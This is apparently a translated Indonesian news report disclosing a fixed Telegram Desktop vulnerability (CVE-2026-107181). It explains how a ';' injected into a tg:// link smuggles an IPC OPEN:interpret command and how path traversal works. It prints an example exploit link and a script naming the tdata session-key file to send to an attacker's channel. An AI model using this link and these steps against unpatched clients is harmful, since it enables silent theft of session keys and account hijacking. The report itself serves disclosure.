Detail dan metode eksploitasi untuk kerentanan (CVE-2026-107181) di Telegram Desktop, klien desktop resmi Telegram, telah diungkapkan. Masalah ini disebabkan oleh penanganan yang tidak tepat terhadap karakter pembatas yang tidak di-escape dalam perintah IPC. Hal ini memungkinkan mengklik tautan yang dibagikan untuk mentransfer file apa pun dari sistem korban ke penyerang, termasuk file yang berisi kunci sesi yang dapat digunakan untuk membajak akun Telegram. Kerentanan ini telah diperbaiki di Telegram Desktop 7.2.9.
Saat mengklik tautan "tg://", sistem operasi akan meluncurkan aplikasi Telegram Desktop yang terkait dengan jenis tautan ini. Jika instance lain dari aplikasi ini sudah berjalan di sistem, proses yang sedang berjalan akan meneruskan tautan tersebut ke instance lain melalui soket menggunakan antarmuka IPC. Masalahnya adalah jika Anda menyertakan karakter ";" di antara parameter tautan (misalnya, "tg://x?a=1;OPEN…"), konten akan dipisahkan, dan bagian setelah karakter ";" akan diproses sebagai perintah terpisah.
Serangan ini memanfaatkan perintah OPEN bersama dengan skema URI "interpret:", yang dirancang untuk menjalankan skrip layanan melalui IPC, yang digunakan untuk secara otomatis mengirimkan rilis baru ke saluran. Skrip adalah file lokal yang telah ditentukan sebelumnya yang menentukan file yang akan dikirim ke saluran dan ID saluran. Jalur file ke skrip diproses relatif terhadap subdirektori layanan, tetapi karena kurangnya penghapusan "../" pada jalur file, penyerang dapat mengakses file yang disimpan di luar direktori dasar. Misalnya, mereka dapat mengunggah file ke grup Telegram mereka dan kemudian merujuknya sebagai skrip dengan membuat tautan seperti ini:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Tahapan serangan:
- Penyerang menambahkan korban ke grup mereka (dengan pengaturan default, menambahkan korban tidak memerlukan konfirmasi dari orang yang ditambahkan) dan mengirimkan file teks ke grup yang berisi saluran dan jalur ke skrip. Telegram menyimpan file ini ke subdirektori sistem yang telah ditentukan sebelumnya ketika korban bergabung dengan grup.
saluran: 2005234537
file: tdata/D877F783D5D3EF8Cs - Penyerang mengirimkan tautan yang tampak tidak berbahaya ke host mereka (misalnya, "https://coolsite.org"), yang, ketika dibuka melalui pengalihan ke server URI penyerang diganti dengan URI dalam bentuk 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- Saat tautan diklik, browser memanggil penangan URI "tg://", yang memulai rangkaian eksekusi perintah yang disebutkan di atas, yang mengakibatkan file dikirim ke saluran penyerang tanpa menampilkan pemberitahuan apa pun atau meminta konfirmasi pengiriman.
- Setelah menerima file dari subdirektori tdata yang berisi kunci enkripsi dan otorisasi, dan tanpa adanya kata sandi lokal yang ditetapkan oleh pengguna, penyerang dapat mengkloning sesi koneksi korban di perangkat mereka.
Sumber: opennet.ru
